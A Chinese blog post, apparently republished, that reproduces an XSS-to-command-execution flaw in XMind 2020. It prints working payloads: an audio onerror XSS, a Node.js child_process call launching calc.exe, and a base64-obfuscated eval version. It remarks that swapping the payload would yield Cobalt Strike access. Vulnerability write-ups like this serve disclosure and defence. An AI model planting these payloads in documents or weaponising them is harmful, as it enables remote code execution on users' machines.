Xmind 2020 XSS漏洞导致命令执行复现

今天看到某数字云漏洞预警，但没给利用代码就.....于是跑去复现一下
XMind 是一个全功能的思维导图和头脑风暴软件，为激发灵感和创意而生。作为一款有效提升工作和生活效率的生产力工具，受到全球百千万用户的青睐。
下载地址：https://www.xmind.cn/
下载xmind2020最新版本

一、Xss：
1、利用过程：
主题插入xss利用代码

在大纲页面触发

实现弹窗

2、利用代码：

<audio src=x onerror=confirm("casrc")>

二、命令执行：
1、利用过程：
主题插入命令执行利用代码

在大纲页面触发实现命令执行

触发弹出计算器

2、利用代码：

通过nodejs调用执行系统命令打开计算器
require('child_process').exec('calc.exe',(error, stdout, stderr)=>{alert(stdout: ${stdout});});

<audio src=http://a onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2NhbGMuZXhlJywoZXJyb3IsIHN0ZG91dCwgc3RkZXJyKT0+e2FsZXJ0KGBzdGRvdXQ6ICR7c3Rkb3V0fWApO30pOw==`,`base64`).toString())'>

三、评价
实现过程简单，用户范围庞大（看了下实验室小伙伴电脑基本都有），危害严重（替换利用代码可实现cs上线等功能）。谨防钓鱼攻击。复现完毕~

来源：先知 （作者名：可爱又迷人的反派角色）

注：如有侵权请联系删除

---

欢迎大家加群一起讨论学习和交流
（此群已满200人，需要添加群主邀请）

从现在开始 不留余力地努力吧，

最差的结果 也不过是大器晚成。

原文始发于微信公众号（衡阳信安）：Xmind 2020 XSS漏洞导致命令执行复现